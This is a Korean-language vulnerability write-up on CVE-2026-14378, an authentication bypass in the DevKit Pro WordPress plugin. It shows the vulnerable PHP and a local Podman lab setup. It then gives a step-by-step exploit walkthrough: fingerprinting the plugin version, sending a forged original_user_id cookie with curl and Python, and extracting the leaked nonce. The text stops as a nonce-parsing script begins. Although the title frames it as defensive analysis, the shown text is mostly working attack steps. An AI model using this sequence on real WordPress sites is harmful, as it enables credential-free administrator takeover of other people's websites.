
CVE-2026-14378(WordPress DevKit Pro 플러그인 <= 2.3.0)에 대한 방어적 분석, 패치 분석 및 탐지 스캐너.
CVE-2026-14378은 WordPress용 DevKit Pro 플러그인의 치명적인 인증되지 않은 인증 우회(CVSS 9.8) 취약점으로, 2.3.0 이하의 모든 버전에 영향을 미칩니다.
이 플러그인에는 개발자용 사용자 전환 메커니즘이 포함되어 있습니다. 관리자가 다른 사용자 계정으로 "전환"하면, 관리자의 ID를 original_user_id라는 쿠키에 저장합니다. 결함은 다음과 같습니다: 플러그인은 해당 쿠키가 존재할 때마다 모든 페이지에서 "switch back" HTML 폼을 렌더링합니다 — 쿠키를 수동으로 설정한 인증되지 않은 방문자에게도 마찬가지입니다. 더 심각한 것은, nonce 검증 단계가 호출자의 세션이 아니라 쿠키 사용자의 관리자 권한을 확인한다는 점입니다 — 따라서 서버는 올바른 POST를 전송하는 누구에게나 인증된 관리자 세션 쿠키를 기꺼이 발급합니다.
최종 결과: 완전한 WordPress 관리자 탈취에 자격 증명이 전혀 필요하지 않습니다.
| 속성 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-14378 |
| 취약점 분류 | 부적절한 인증 (CWE-287) |
| CVSS v3.1 점수 | 9.8 (치명적) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향받는 소프트웨어 | DevKit Pro (dplugins) WordPress 플러그인 |
| 취약한 버전 | <= 2.3.0 |
| 패치된 버전 | 2.3.1 |
| 공개 날짜 | 2026년 10월 2일 |
DevKit Pro에는 사이트 관리자가 권한을 테스트하기 위해 다른 사용자 계정으로 "전환"할 수 있게 해주는 개발자 도우미 기능이 포함되어 있습니다. 관리자가 전환을 사용하면:
Set-Cookie: original_user_id=1isset($_COOKIE['original_user_id'])를 확인합니다wp_footer()에서 새로운 nonce가 포함된 숨겨진 POST 폼과 함께 "Switch Back" 툴바를 렌더링합니다admin-post.php?action=revert_switch로 POST됩니다wp_set_auth_cookie($user_id)를 호출하여 원래 세션을 복원합니다wp_footer 훅 핸들러:
// DevKit Pro <= 2.3.0 — render_switch_back_bar()
public function render_switch_back_bar() {
// FLAW: Only checks if cookie exists — no session validation!
if ( isset( $_COOKIE['original_user_id'] ) ) {
$user_id = (int) $_COOKIE['original_user_id'];
$nonce = wp_create_nonce( 'devkit_revert_switch_' . $user_id );
echo '<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">';
echo ' <form id="devkit-revert-form" action="' . admin_url('admin-post.php') . '" method="POST">';
echo ' <input type="hidden" name="action" value="revert_switch" />';
echo ' <input type="hidden" name="_wpnonce" value="' . $nonce . '" />';
echo ' <input type="hidden" name="target_user_id" value="' . $user_id . '" />';
echo ' </form>';
echo '</div>';
echo '<!-- DevKit Pro 2.3.0 Switch Component Active -->';
}
}
양식 제출을 처리하는 POST 핸들러:
// DevKit Pro <= 2.3.0 — handle_revert_switch()
public function handle_revert_switch() {
$user_id = (int) $_POST['target_user_id'];
$nonce = sanitize_text_field( $_POST['_wpnonce'] );
if ( ! $this->verify_nonce_and_capability( $user_id, $nonce ) ) {
wp_die( 'Unauthorized' );
}
wp_set_current_user( $user_id );
wp_set_auth_cookie( $user_id ); // <-- Grants authenticated session to caller
wp_redirect( admin_url() );
exit;
}
private function verify_nonce_and_capability( $user_id, $nonce ) {
if ( ! wp_verify_nonce( $nonce, 'devkit_revert_switch_' . $user_id ) ) {
return false;
}
// CRITICAL FLAW: Checks the cookie user's capability, not the caller's!
return user_can( $user_id, 'manage_options' );
}
user_can( $user_id, 'manage_options' )는 다음 질문에 답한다: "사용자 #1이 manage_options 권한을 가지고 있는가?"
사용자 #1(가장 먼저 생성된 WordPress 관리자)에 대한 답은 항상 true이다.
이것은 다음과 같이 물어야 한다: "이 HTTP 요청을 보내는 사람이 manage_options 권한을 가지고 있는가?"
올바른 검사는 current_user_can('manage_options')이며, 이는 인증되지 않은 방문자에 대해 false를 반환한다.
이 전체 워크스루는 DevKit Pro 2.3.0이 활성화된 로컬 Podman 컨테이너(http://localhost:8080)에서 실행 중인 실제 WordPress 인스턴스에 대해 수행되고 검증되었다.
로컬에서 이를 재현하려면 다음이 필요하다:
빠른 Podman 랩 설정:
# Start MariaDB
podman run -d --name wp-db \
-e MYSQL_ROOT_PASSWORD=rootpass \
-e MYSQL_DATABASE=wordpress \
-e MYSQL_USER=wpuser \
-e MYSQL_PASSWORD=wppass \
mariadb:10.6
# Start WordPress
podman run -d --name wp-app \
-p 8080:80 \
--link wp-db:mysql \
-e WORDPRESS_DB_HOST=mysql \
-e WORDPRESS_DB_NAME=wordpress \
-e WORDPRESS_DB_USER=wpuser \
-e WORDPRESS_DB_PASSWORD=wppass \
wordpress:latest
WordPress가 초기화된 후(http://localhost:8080/wp-admin/install.php), 플러그인 메뉴를 통해 DevKit Pro 2.3.0을 설치하고 활성화합니다.
공격 페이로드를 전송하기 전에, 플러그인이 존재하는지 확인하고 플러그인 readme를 가져와 버전을 판별합니다:
요청:
GET /wp-content/plugins/devkit-pro/readme.txt HTTP/1.1
Host: localhost:8080
응답 (HTTP 200):
=== DevKit Pro ===
Requires at least: 5.0
Tested up to: 6.8
Requires PHP: 7.4
Stable tag: 2.3.0
License: GPLv2 or later
버전 2.3.0은 영향을 받는 범위 <= 2.3.0에 포함됩니다. 진행합니다.
서버가 HTTP 404를 반환하면, 플러그인이 설치되지 않았거나 경로가 변경된 것이므로 이 대상은 이 벡터를 통해서는 취약하지 않습니다.
original_user_id 쿠키를 1(초기 관리자의 사용자 ID)로 설정한 상태에서 임의의 WordPress 페이지에 GET 요청을 보냅니다:
요청:
GET /wp-login.php HTTP/1.1
Host: localhost:8080
Cookie: original_user_id=1
curl을 사용할 수 있습니다:
curl -v -H "Cookie: original_user_id=1" http://localhost:8080/wp-login.php
또는 Python(requests 라이브러리):
import requests
url = "http://localhost:8080/wp-login.php"
cookie = {"original_user_id": "1"}
resp = requests.get(url, cookies=cookie)
print(resp.text)
서버가 반환하는 내용 (실제 HTTP 응답 본문에서 발췌):
<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">
<form id="devkit-revert-form" action="http://localhost:8080/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="revert_switch" />
<input type="hidden" name="_wpnonce" value="756081f907" />
<input type="hidden" name="target_user_id" value="1" />
</form>
</div>
<!-- DevKit Pro 2.3.0 Switch Component Active -->
서버는 다음을 수행했습니다:
756081f907)를 생성했습니다admin-post.php?action=revert_switch를 가리키는 숨겨진 폼에 이를 삽입했습니다_wpnonce 숨겨진 입력에서 nonce 값을 추출하세요 — 이것이 다음 단계의 열쇠입니다.
Python으로 nonce 파싱하기:
from bs4 import BeautifulSoup